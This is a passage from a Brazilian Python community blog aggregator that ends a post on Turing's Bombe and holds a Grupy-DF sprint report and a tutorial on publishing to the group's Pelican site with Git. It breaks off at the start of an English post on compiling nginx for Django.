Outra maneira era colocando minas explosivas no meio do mar. Os aliados colocavam as minas de um jeito fácil de encontrar, e em um lugar conhecido. Aí era só esperar os alemães acharem as minas. Quando eles achavam, transmitiam as coordenadas pelo rádio, então era só colocar as coordenadas da mina no computador, que eventualmente ele iria achar uma mensagem correspondente.

Quem viu o filme do Turing deve lembrar que no final eles jogam tudo numa fogueira. Isso aconteceu mesmo, quase tudo sobre o projeto foi destruído, e o que não foi era classificado como ultra-secreto. Só na década de 70 é que o mundo descobriu a existência das Bombas de Turing, e hoje em dia temos informação suficiente para recriar uma delas, como essa que está exposição no Bletchley Park.

A Bomba de Turing por dentro

Ainda tem mais computadores que eu conheci de perto, mas os outros ficam para a parte 2 :)

por Ricardo Bittencourt (noreply@blogger.com) em 24 de July de 2015 às 19:11

July 23, 2015

Grupy-DF

1º Sprint do Grupy-DF

No dia 11 de julho de 2015, nos reunimos na casa dos pais da Tânia para realizar o Primeiro Sprint do Grupy-DF. Após uma bela dose de café recapitulamos os temas propostos:

  • Contribuir com o site das PyLadies
  • Colocar no ar os sites de evento das PythonBrasil anteriores
  • Ajudar no desenvolvimento das coisas pendentes da PythonBrasil[11]
  • Contribuir com a tradução dos docs do Django

Após esta breve recapitulação entramos em contato com Filipe para ficar a par da organização e acessos aos servidores da PythonBrasil.

Hangout com o Filipe

Paralelo ao hangout com o Filipe, descobrimos que o site do PyLadies está em Ruby, o que nos levou, após muita pesquisa, ao aprendizado de como preparar um ambiente de desenvolvimento para futuras contribuições para o projeto.

Seguindo em frente abrimos uma chamada no Skype com o Rudá na qual, depois de muito suor, aprendizado e compilação manual de versões pré-históricas do python, conseguimos colocar no ar praticamente todos os sites Plone que estavam fora do ar.

Skype com o Rudá

Segue abaixo a lista dos sites funcionando até o momento desta publicação e seus respectivos links provisórios:

Além disso outros assuntos como o nome da conta do youtube e alguns problemas da wiki foram levantados.

Se você curtiu e quer participar do próximo sprint ou evento do Grupy-DF acompanhe nossos canais de comunicação e ajude a fortalecer esta comunidade.

por Humberto Rocha em 23 de July de 2015 às 06:19

July 22, 2015

Grupy-DF

Como Publicar No Blog Do Grupy-Df

Olá pessoal! Recentemente inauguramos o site do Grupy-DF e alguns membros do grupo estão começando a produzir conteúdos. Como eu fui o "maluco" a propor essa plataforma, achei que seria justo escrever um tutorial para aqueles que desconhecem um pouco o Pelican. Então preparem seus cérebros pois vamos aprender deste virtual env até versionamento de código!

O Que é o Pelican

Primeiramente o Pelican é um gerador de site estático multiplataforma (GNU/Linux, Mac OS e Windows), isto é, nosso site não possui nenhum servidor de aplicação (backend) em execução, ele é composto apenas de arquivos HTML, CSS e JavaScript. Mas por que isso é vantajoso? Eu já escrevi sobre isso no meu site, mas em resumo ganhamos em performance, hospedagem, segurança e versionamento. Como este site receberá publicações de várias pessoas, resolvemos usar as Issues do GitHub para controlar os artigos que estão em processo de descrita (foi criada uma tag Artigos para concentrar todos os trabalhos).

Outra vantagem de utilizarmos o site estático tendo o GitHub como "backend" é que as publicações podem ser controladas por meio de Pull Requests. Desta forma não limitamos as publicações apenas a quem tem permissão no repositório e/ou é membro do Grupy-DF. Já se estivéssemos utilizando um CMS... teríamos que criar uma conta pra esse usuário e confiar a ele acesso à nossa infraestrutura.

Obtendo Uma Cópia do Site

Para obter uma cópia do site você vai precisar do Git. Primeiramente acesse o repositório do site e crie um fork. Uma vez criado fork, clone o site em um diretório qualquer do seu desktop:

$ cd ~
$ git clone git@github.com:magnunleno/grupydf.github.io.git
$ cd grupydf.github.io

O repositório é composto de alguns diretórios principais:

grupydf.github.io
│
├── content
│   ├── articles
│   ├── images
│   └── pages
├── .plugins
└── .themes

É tudo muito intuitivo, o diretório content possui todos os conteúdos, como artigos, imagens e páginas, o .plugins contém todos os plugins do Pelican, e o diretório themes possui o tema que utilizamos no site. Mas não se preocupem, vamos nos focar apenas no diretório contents.

Agora temos que preparar o ambiente.

Preparando o Ambiente

Criar o ambiente de uso do Pelican é muito simples, pra isso você vai precisar de:

  • Python 2.7;
  • VirtualEnv;
  • Conexão de internet;
  • Um terminal;
  • Um editor de texto;
  • Um navegador;

Primeiro abra um terminal e crie um virtual environment para o Python 2.7 (note que este passo não é obrigatório, mas é uma boa prática):

$ virtualenv --prompt "(grupy-df)" ~/venv/grupy-df

Eu gosto de armazenar todos os meus virtual envs em um mesmo diretório (neste caso ~/venv), mas você pode colocar em qualquer outro lugar. Uma vez criado este virtual env, ative-o:

$ . ~/venv/grupy-df/bin/activate

Uma vez ativado o virtual env basta instalar todas as dependências, para isso utilize o seguinte comando:

$ pip install -r requirements.txt

Após instaladas todas as dependências faça uma compilação de teste do site com o comando make html. Ao compilar o site é criado um diretório output, com o conteúdo gerado, não se preocupe, este diretório já está no .gitignore e não deverá ser entrar no seu commit. Para visualizar o site localmente rode o comando make serve (sua linha de comando ficará "presa" pois ela está servindo as páginas neste momento) e acesse a URL http://localhost:8000. Note que todos estes comandos devem ser executados na raiz do repositório, onde se encontra o arquivo de "receitas" do make, isto é, o arquivo Makefile. Para sair do "modo servidor" pressione Ctrl+C e a linha de comando retornará ao normal.

Após algum tempo de uso passe a pegar o costume de sempre executar uma cadeia de comandos para evitar que arquivos de compilações prévias interfiram com a minha visualização atual: make clean html serve. Apenas esta linha de comando limpa o conteúdo do diretório output, gera o site novamente, e entra no modo servidor. Novamente, para sair do modo servidor pressione Ctrl+C.

Escrevendo Seus Próprios Artigos

Para escrever seus próprios artigos sugiro olhar alguns de exemplo no diretório contents/articles. Eu pessoalmente prefiro o uso da linguagem de marcação ReStructured Text, mas o Pelican também suporta a linguagem Markdown. Um artigo tem um cabeçalho fixo, conforme abaixo (em ReST):

Como Publicar No Blog Do Grupy-Df
=================================
:date: 2015-07-22 14:57
:author: Magnun Leno
:category: Tutoriais
:tags: tutorial, tecnico, pelican, site
:image: /images/monty-python-knights.jpg

Ou em Markdown:

Title: Como Publicar No Blog Do Grupy-Df
Date: 2015-07-22 14:57
Author: Magnun Leno
Category: Tutoriais
Tags: tutorial, tecnico, pelican, site
Image: /images/monty-python-knights.jpg

Novamente é tudo muito intuitivo, temos o título do artigo (a primeira linha em ReST, o a precedida por Title: em Markdown) seguido da data de publicação (no formato YYYY-MM-DD HH:MM). Logo abaixo temos o nome do autor, categoria e uma lista de tags. Somente a última tag é algo implementado por mim e não é nativo do Pelican.

A Tag :image:: ou Image: (em Markdown) faz referência à imagem de capa do artigo, que também fica no "cabeçalho" do artigo, conforme print screens abaixo:

Article Image Header

Após estas meta-tags, basta escrever o texto de acordo com a linguagem de marcação adotadas: ReStructured Text ou Markdown. Para mais informações a documentação do Pelican é excelente! Uma vez concluído o artigo, emita novamente o comando make clean html serve e acesse a URL http://localhost:8000 e ver como ficou.

Lembre que o CSS deste site ainda não está completamente concluído e algumas coisas ainda precisam ser melhoradas, como por exemplo a exibição de códigos, tabelas e etc.

Enviando Sua Contribuição

Uma vez concluído o artigo, vamos realizar o commit da alteração:

$ git add content/article/meu-artigo.rst
$ git add content/images/minha-imagem-do-artigo.png
$ git commit -m "Adicionado novo artivo 'meu-artigo'"

Com o commit realizado com sucesso, você pode realizar o push pro seu repositório remoto (GitHub):

$ git push origin pelican

Agora basta enviar um Pull Request do do seu repositório e os gestores do site irão aprovar sua contribuição.

por Magnun Leno em 22 de July de 2015 às 17:57

Francisco Souza

Setting up a Django production environment: compiling and configuring nginx

Here is another series of posts: now I’m going to write about setting up a Django production environment using nginx and Green Unicorn in a virtual environment. The subject in this first post is nginx, which is my favorite web server.

This post explains how to install nginx from sources, compiling it (on Linux). You might want to use apt, zif, yum or